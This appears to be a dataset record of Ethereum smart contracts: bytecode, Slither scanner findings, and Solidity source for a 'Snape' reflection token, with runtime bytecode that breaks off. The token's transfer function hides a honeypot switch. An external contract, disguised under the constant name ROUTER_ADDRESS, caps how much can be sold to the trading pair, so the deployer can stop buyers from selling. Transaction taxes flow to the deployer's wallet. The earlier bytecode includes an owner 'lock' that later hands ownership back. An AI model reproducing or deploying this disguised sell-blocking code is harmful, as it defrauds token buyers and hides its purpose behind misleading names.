5906020019064010000000081111561026057600080fd5b82018360208201111561027257600080fd5b8035906020019184602083028401116401000000008311171561029457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bac565b005b3480156102f157600080fd5b5061031e6004803603602081101561030857600080fd5b8101908080359060200190929190505050610cfc565b005b34801561032c57600080fd5b5061036f6004803603602081101561034357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dce565b60405180821515815260200191505060405180910390f35b34801561039357600080fd5b5061039c610dee565b005b3480156103aa57600080fd5b506103b3610f74565b005b3480156103c157600080fd5b506103ca6111d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040257600080fd5b506104456004803603602081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611200565b60405180821515815260200191505060405180910390f35b34801561046957600080fd5b50610472611220565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104aa57600080fd5b506104b3611246565b005b6104bd6105e3565b005b3480156104cb57600080fd5b506104d4611463565b6040518082815260200191505060405180910390f35b3480156104f657600080fd5b506104ff61146d565b6040518082815260200191505060405180910390f35b34801561052157600080fd5b5061054e6004803603602081101561053857600080fd5b8101908080359060200190929190505050611473565b005b34801561055c57600080fd5b50610565611664565b005b34801561057357600080fd5b5061057c61177c565b6040518082815260200191505060405180910390f35b34801561059e57600080fd5b506105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611782565b005b60006004541180156105f757506000600554115b610669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420696e697469616c697a6564207965740000000000000000000000000081525060200191505060405180910390fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f41646472657373206973206e6f742077686974656c697374656400000000000081525060200191505060405180910390fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4164647265737320616c726561647920626f756768740000000000000000000081525060200191505060405180910390fd5b600554341461085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f57726f6e672045544820616d6f756e742073656e74000000000000000000000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336004546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108f457600080fd5b505af1158015610908573d6000803e3d6000fd5b505050506040513d602081101561091e57600080fd5b8101908080519060200190929190505050506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b61099261198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060048190555050565b610a6461198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610ba857600060066000848481518110610b4257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610b27565b5050565b610bb461198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610cf857600160066000848481518110610c9257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c77565b5050565b610d0461198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60066020528060005260406000206000915054906101000a900460ff1681565b610df661198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f7c61198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6110826111d7565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561110b57600080fd5b505afa15801561111f573d6000803e3d6000fd5b505050506040513d602081101561113557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b505050506040513d60208110156111c357600080fd5b810190808051906020019092919050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806119bc6023913960400191505060405180910390fd5b6002544211611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600254905090565b60045481565b61147b61198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b61166c61198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461172c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6117346111d7565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611779573d6000803e3d6000fd5b50565b60055481565b61178a61198d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461184a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119966026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212202e1adab7b56c8785dce6dea8bb84991a84c5217ebd63544d1d0b109f32451eaf64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,981 |
0x8580B33c39273c874B224671862926A91EdE7C16
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/SnapeToken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS= 0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Snape";
string constant TOKEN_SYMBOL="SNAPE";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Snape is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600581526020017f536e617065000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534e415045000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffff